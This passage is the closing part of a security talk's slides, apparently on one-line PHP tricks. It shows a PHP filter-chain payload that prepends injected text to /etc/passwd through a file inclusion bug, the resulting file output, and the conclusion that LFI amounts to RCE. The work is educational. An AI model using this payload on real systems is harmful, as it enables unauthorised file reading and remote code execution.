ert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP869.UTF-32|convert.iconv.MACUK.UCS4|convert.iconv.UTF16BE.866|convert.iconv.MACUKRAINIAN.WCHAR_T|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.base64-decode/resource=/etc/passwd') ``` Add `3nd @f 1linephp QQ` to `/etc/password` ``` 3nd @f 1linephp QQroot:x:0:0:root:/root:/usr/bin/bash daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin bin:x:2:2:bin:/bin:/usr/sbin/nologin ... ``` ---- ## Conclution **LFI is equal to RCE.** --- # End ![](https://i.imgflip.com/61c9a2.jpg) --- ## Feedback <img src="https://i.imgur.com/FVKuKRn.png" style="height:400px"> --- --- <style> code { padding: 4px 4px; font-size: 90%; /*color: #c7254e;*/ color: #dddddd; background-color: #2d2d2d !important; border-radius: 4px; } strong { color: orange; } </style>
{"metaMigratedAt":"2023-06-16T17:32:31.618Z","metaMigratedFrom":"YAML","title":"One Line PHP: From Genesis to Ragnarök","breaks":true,"slideOptions":"{\"allottedMinutes\":30}","contributors":"[{\"id\":\"60ad6ff4-06a1-4429-ad10-7f2306d78515\",\"add\":29314,\"del\":7940},{\"id\":\"bb06ea93-827a-4d2d-9dbf-54c740cff2bb\",\"add\":9927,\"del\":2397}]"}
    2966 views